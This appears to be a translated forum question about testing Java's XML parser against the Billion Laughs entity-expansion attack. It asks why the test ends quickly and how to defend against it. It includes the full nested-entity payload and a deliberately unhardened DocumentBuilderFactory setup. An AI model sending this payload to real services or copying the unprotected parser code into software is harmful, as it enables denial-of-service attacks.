经过一些研究,这里有一个代码示例,我认为应该容易受到Billion Laughs attack的攻击。但是它似乎不起作用,Done.
打印到控制台太快(从人类的角度来看)。
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;
public class BillionLOLs {
public static void vuln(String xml) {
try{
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
Element root = doc.getDocumentElement();
} catch (Exception e){
}
}
public static void main(String[] args){
String xml =
"<?xml version=\"1.0\"?>"
+ "<!DOCTYPE lolz ["
+ "<!ENTITY lol \"lol\">"
+ "<!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">"
+ "<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">"
+ "<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">"
+ "<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">"
+ "<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">"
+ "<!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">"
+ "<!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">"
+ "<!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">"
+ "]>"
+ "<lolz>&lol9;</lolz>";
vuln(xml);
System.out.println("Done.");
}
}
我已经阅读了OWASP cheat sheet关于如何在Java中解决这个问题的方法,并且我认为这些方法仍然是最新的,并且在此期间没有发现任何其他聪明的攻击,这会使OWASP指导无关紧要。
我的具体问题是为什么我的代码执行时间不长,就像我期望的那样,如果Java容易受到Billion Laughs攻击的影响,我该怎样阻止它呢?
命令java -version
提供以下输出。
java版“1.7.0_75”
Java(TM)SE运行时环境(版本1.7.0_75-b13)
Java HotSpot(TM)客户端VM(版本24.75-b04,混合模式,共享)